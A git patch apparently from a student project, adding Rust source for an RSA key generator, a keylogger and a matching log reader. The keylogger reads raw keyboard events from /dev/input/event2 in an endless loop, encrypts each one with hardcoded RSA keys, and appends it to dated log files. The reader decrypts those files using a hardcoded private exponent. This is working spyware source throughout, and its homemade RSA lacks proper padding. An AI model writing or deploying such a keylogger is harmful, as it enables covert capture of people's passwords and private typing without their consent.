From 092492ba243a5fc73e709ac424196eb0d1fbf24e Mon Sep 17 00:00:00 2001 From: Lukian Date: Sat, 30 Nov 2024 18:31:38 +0100 Subject: [PATCH] Saataa andagii ! --- keygen/.gitignore | 2 + keygen/Cargo.toml | 10 ++++ keygen/src/main.rs | 21 ++++++++ keygen/src/rsa.rs | 91 ++++++++++++++++++++++++++++++++ keylogger/.gitignore | 4 ++ keylogger/Cargo.toml | 13 +++++ keylogger/README.md | 3 ++ keylogger/src/keylogger.rs | 43 ++++++++++++++++ keylogger/src/main.rs | 47 +++++++++++++++++ keylogger/src/rsa.rs | 103 +++++++++++++++++++++++++++++++++++++ reader/.gitignore | 2 + reader/Cargo.toml | 10 ++++ reader/src/main.rs | 40 ++++++++++++++ 13 files changed, 389 insertions(+) create mode 100644 keygen/.gitignore create mode 100644 keygen/Cargo.toml create mode 100644 keygen/src/main.rs create mode 100644 keygen/src/rsa.rs create mode 100644 keylogger/.gitignore create mode 100644 keylogger/Cargo.toml create mode 100644 keylogger/README.md create mode 100644 keylogger/src/keylogger.rs create mode 100644 keylogger/src/main.rs create mode 100644 keylogger/src/rsa.rs create mode 100644 reader/.gitignore create mode 100644 reader/Cargo.toml create mode 100644 reader/src/main.rs diff --git a/keygen/.gitignore b/keygen/.gitignore new file mode 100644 index 0000000..869df07 --- /dev/null +++ b/keygen/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock \ No newline at end of file diff --git a/keygen/Cargo.toml b/keygen/Cargo.toml new file mode 100644 index 0000000..4afd37e --- /dev/null +++ b/keygen/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "rust_rsa_key_gen" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +num-bigint-dig = "0.8.4" +rand = "0.8.5" diff --git a/keygen/src/main.rs b/keygen/src/main.rs new file mode 100644 index 0000000..668225e --- /dev/null +++ b/keygen/src/main.rs @@ -0,0 +1,21 @@ +mod rsa; +use rsa::gen_keys; +use std::io::Write; + +use std::io; + +fn main() { + let mut input = String::new(); + + print!("Enter an integer: "); + io::stdout().flush().unwrap(); + io::stdin().read_line(&mut input).expect("Failed to read line"); + + let num: i32 = input.trim().parse().expect("Invalid input"); + + let (e, d, n) = gen_keys(num.try_into().unwrap()); + + println!("e : {}", e); + println!("d : {}", d); + println!("n : {}", n); +} \ No newline at end of file diff --git a/keygen/src/rsa.rs b/keygen/src/rsa.rs new file mode 100644 index 0000000..ece04c0 --- /dev/null +++ b/keygen/src/rsa.rs @@ -0,0 +1,91 @@ +use num_bigint_dig::{ToBigUint, RandBigInt, BigUint}; +use num_bigint_dig::traits::ModInverse; + +fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) { + let mut d = n - 1.to_biguint().unwrap(); + let mut s = 0.to_biguint().unwrap(); + + while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() { + s += 1.to_biguint().unwrap(); + d /= 2.to_biguint().unwrap(); + } + + (d, s) +} + +fn miller_witness(n: &BigUint, a: &BigUint) -> bool { + let (d, s) = get_s_and_d(&n); + + let mut x = a.modpow(&d, &n); + + if x == 1.to_biguint().unwrap() { + return false; + } + + let mut i = 0.to_biguint().unwrap(); + while i < s.clone(){ + if x == n.clone() - 1.to_biguint().unwrap() { + return false; + } + + x = x.modpow(&2.to_biguint().unwrap(), &n); + + i += 1.to_biguint().unwrap(); + } + + true +} + +fn is_prime(n: BigUint, k: u16) -> bool { + + if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() { + return true; + } + if n.clone() == 1.to_biguint().unwrap() { + return false; + } + if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() { + return false; + } + + for _ in 0..k { + let mut rng = rand::thread_rng(); + let min = 2.to_biguint().unwrap(); + let max = n.clone() - 1.to_biguint().unwrap(); + let a = rng.gen_biguint_range(&min, &max); + + if miller_witness(&n, &a) { + return false; + } + } + + return true; +} + +fn gen_prime_number(lenght: usize) -> BigUint { + let mut rng = rand::thread_rng(); + + let mut a = rng.gen_biguint(lenght); + + while !is_prime(a.clone(), 50) { + a = rng.gen_biguint(lenght); + } + + a +} + +pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) { + let p = gen_prime_number(lenght / 2); + let mut q = gen_prime_number(lenght / 2); + + while p == q { + q = gen_prime_number(lenght / 2); + } + + let n = &p * &q; + let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap()); + let e = 65537.to_biguint().unwrap(); + let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error"); + + (e, d, n) +} \ No newline at end of file diff --git a/keylogger/.gitignore b/keylogger/.gitignore new file mode 100644 index 0000000..0de5094 --- /dev/null +++ b/keylogger/.gitignore @@ -0,0 +1,4 @@ +/target +Cargo.lock +/src/config.json +/src/data/logs/* \ No newline at end of file diff --git a/keylogger/Cargo.toml b/keylogger/Cargo.toml new file mode 100644 index 0000000..8447b8d --- /dev/null +++ b/keylogger/Cargo.toml @@ -0,0 +1,13 @@ +[package] +name = "projet-pei" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +chrono = "0.4.38" +libc = "0.2.153" +num-bigint = { version = "0.4.4", features = ["rand"] } +num-bigint-dig = "0.8.4" +rand = "0.8.5" diff --git a/keylogger/README.md b/keylogger/README.md new file mode 100644 index 0000000..9934139 --- /dev/null +++ b/keylogger/README.md @@ -0,0 +1,3 @@ +# Rust Keylogger with RSA encryption + +This is a Keylogger with RSA encryption built in rust. It is a school project. diff --git a/keylogger/src/keylogger.rs b/keylogger/src/keylogger.rs new file mode 100644 index 0000000..c2e206d --- /dev/null +++ b/keylogger/src/keylogger.rs @@ -0,0 +1,43 @@ +use std::fs::File; +use std::io::Read; +use std::mem; + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct Timeval { + pub tv_sec: libc::c_long, + pub tv_usec: libc::c_long, +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct InputEvent { + pub time: Timeval, + pub type_: libc::c_ushort, + pub code: libc::c_ushort, + pub value: libc::c_uint, +} + +pub struct KeyLogger { + event_file: File +} + +impl KeyLogger { + pub fn new(event_file: &str) -> KeyLogger { + KeyLogger { + event_file: File::open(event_file).expect("Error while opening the file") + } + } + + pub fn get_current_event(&mut self) -> [u8; mem::size_of::()] { + let mut event_data = [0u8; mem::size_of::()]; + self.event_file.read_exact(&mut event_data).expect("Error while reading event file"); + + /* + let event: InputEvent = unsafe { *(event_data.as_ptr() as *const InputEvent) }; + println!("{:?}", event); + */ + + return event_data; + } +} diff --git a/keylogger/src/main.rs b/keylogger/src/main.rs new file mode 100644 index 0000000..5fee536 --- /dev/null +++ b/keylogger/src/main.rs @@ -0,0 +1,47 @@ +mod keylogger; +mod rsa; + +use keylogger::KeyLogger; +use rsa::{gen_keys, pad_data}; + +use chrono::{DateTime, Local}; +use num_bigint_dig::{ToBigUint, RandBigInt, BigUint}; +use std::path::Path; +use std::fs::File; +use std::fs::OpenOptions; +use std::io::prelude::*; + +fn main() { + let e = BigUint::parse_bytes(b"65537", 10) + .unwrap(); + let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10) + .unwrap(); + + let mut test = KeyLogger::new("/dev/input/event2"); + + let current_local: DateTime = Local::now(); + let custom_format = current_local.format("%Y-%m-%d"); + + let logs_file_url = format!("./src/data/logs/{}.log", custom_format); + + if !Path::new(logs_file_url.as_str()).exists() { + File::create(logs_file_url.as_str()) + .expect("Error while creating the file"); + } + + let mut logs_file = OpenOptions::new() + .append(true) + .open(logs_file_url.as_str()) + .expect("Error while opening the file"); + + loop { + let event = &mut test.get_current_event(); + let padded_event = pad_data(event.to_vec(), 3072); + let event_as_bigint = BigUint::from_bytes_be(&padded_event); + let cypher = event_as_bigint.clone().modpow(&e, &n); + let buffer = pad_data(cypher.clone().to_bytes_be(), 3072); + println!("{:?}", buffer.len()); + + let _ = logs_file.write_all(&buffer); + } +} diff --git a/keylogger/src/rsa.rs b/keylogger/src/rsa.rs new file mode 100644 index 0000000..f759744 --- /dev/null +++ b/keylogger/src/rsa.rs @@ -0,0 +1,103 @@ +use num_bigint_dig::{ToBigUint, RandBigInt, BigUint}; +use num_bigint_dig::traits::ModInverse; + +fn get_s_and_d(n: &BigUint) -> (BigUint, BigUint) { + let mut d = n - 1.to_biguint().unwrap(); + let mut s = 0.to_biguint().unwrap(); + + while &d % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() { + s += 1.to_biguint().unwrap(); + d /= 2.to_biguint().unwrap(); + } + + (d, s) +} + +fn miller_witness(n: &BigUint, a: &BigUint) -> bool { + let (d, s) = get_s_and_d(&n); + + let mut x = a.modpow(&d, &n); + + if x == 1.to_biguint().unwrap() { + return false; + } + + let mut i = 0.to_biguint().unwrap(); + while i < s.clone(){ + if x == n.clone() - 1.to_biguint().unwrap() { + return false; + } + + x = x.modpow(&2.to_biguint().unwrap(), &n); + + i += 1.to_biguint().unwrap(); + } + + true +} + +fn is_prime(n: BigUint, k: u16) -> bool { + + if n.clone() == 3.to_biguint().unwrap() || n.clone() == 2.to_biguint().unwrap() { + return true; + } + if n.clone() == 1.to_biguint().unwrap() { + return false; + } + if n.clone() % 2.to_biguint().unwrap() == 0.to_biguint().unwrap() { + return false; + } + + for _ in 0..k { + let mut rng = rand::thread_rng(); + let min = 2.to_biguint().unwrap(); + let max = n.clone() - 1.to_biguint().unwrap(); + let a = rng.gen_biguint_range(&min, &max); + + if miller_witness(&n, &a) { + return false; + } + } + + return true; +} + +fn gen_prime_number(lenght: usize) -> BigUint { + let mut rng = rand::thread_rng(); + + let mut a = rng.gen_biguint(lenght); + + while !is_prime(a.clone(), 50) { + a = rng.gen_biguint(lenght); + } + + a +} + +pub fn gen_keys(lenght: usize) -> (BigUint, BigUint, BigUint) { + let p = gen_prime_number(lenght / 2); + let mut q = gen_prime_number(lenght / 2); + + while p == q { + q = gen_prime_number(lenght / 2); + } + + let n = &p * &q; + let phi_n = (&p - 1.to_biguint().unwrap()) * (&q - 1.to_biguint().unwrap()); + let e = 65537.to_biguint().unwrap(); + let d = e.clone().mod_inverse(&phi_n).unwrap().to_biguint().expect("error"); + + (e, d, n) +} + +pub fn pad_data(data: Vec, length: usize) -> Vec { + let mut padded_data = data; + + let num_zeros = (length / 8) - padded_data.len(); + + for _ in 0..num_zeros { + padded_data.insert(0, 0); + } + + padded_data +} \ No newline at end of file diff --git a/reader/.gitignore b/reader/.gitignore new file mode 100644 index 0000000..869df07 --- /dev/null +++ b/reader/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock \ No newline at end of file diff --git a/reader/Cargo.toml b/reader/Cargo.toml new file mode 100644 index 0000000..c32db96 --- /dev/null +++ b/reader/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "keylogger_logs_reader" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +libc = "0.2.153" +num-bigint-dig = "0.8.4" diff --git a/reader/src/main.rs b/reader/src/main.rs new file mode 100644 index 0000000..8698075 --- /dev/null +++ b/reader/src/main.rs @@ -0,0 +1,40 @@ +use std::io; +use std::fs::File; +use std::io::Read; +use num_bigint_dig::{ToBigUint, RandBigInt, BigUint}; + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct Timeval { + pub tv_sec: libc::c_long, + pub tv_usec: libc::c_long, +} + +#[repr(C)] +#[derive(Debug, Copy, Clone)] +pub struct InputEvent { + pub time: Timeval, + pub type_: libc::c_ushort, + pub code: libc::c_ushort, + pub value: libc::c_uint, +} + +fn main() { + let mut f = File::open("/home/lucien/Documents/devoirs/projet-pei/src/data/logs/2024-04-26.log").expect("error opening file"); + let mut buffer = [0; 384]; + + let d = BigUint::parse_bytes(b"633959252352879769414268328237234655198007316661163023777391807746244830540247767948443855415682008175601529021411039391840313318185231741827301362410641700643608368380245594661894472090504499073166019109062339257674002894413761118948212701255316059032971344450351851298362436113974926627054913636405882439315793769619506182013244298318698566484148552185502604241697761778810163119641370267909684282219737326096682836009711969384932494457163061834220764248176381108280474841227286418500241941495576383574505788225980542400074224688985134117693527572573321451492738181692632152599780061960977278794872092351976614468324388387378747822376461734816372605021310951703337525451548588541228821457303051142707331995242314511807098148708151025145265736969455083061017142240722663072698443409233801199735896318182689936557502323416873005259657496521896982570683306572548975472052579033816662895042418300552110513374202225883037863617", 10) + .unwrap(); + let n = BigUint::parse_bytes(b"726893654806863106618546895057273655441264661325145055622991128175682274731729906015556264256579162493516172845029834644722324327896454261243147930093884060587847049206343040997875678249683217673083057390927228523219516562706789293756062419996669732335698292474241738313810472297868623226097796896132340484716735649944952179058084460249003603199405921560958818961267822766679758920394983786136620924522112830057005196535366761215933393212482864750854232592685811474461298568003115633675850369800934986362845952917985790835063623075408167396594117256336524956863695783013250764066998836408497995291717070517025671368786854251119784534482238786198981808730172431511580525492332130939522228645811310849928074140276569038233908484935569527065290886443920205920064757536160231476433607492303337517653184135797961475927231058895093552142050530878770429480616001550597029356030412941690284376485270056410912518806914509324633661109", 10) + .unwrap(); + + // read exactly 10 bytes + loop { + f.read_exact(&mut buffer).expect("error reading file"); + let event_as_bigint = BigUint::from_bytes_be(&buffer); + let event_decrypted = &event_as_bigint.modpow(&d, &n); + let event_padded = &event_decrypted.to_bytes_be(); + let event: InputEvent = unsafe { *(event_padded.as_ptr() as *const InputEvent) }; + println!("{:?}", event); + } +} \ No newline at end of file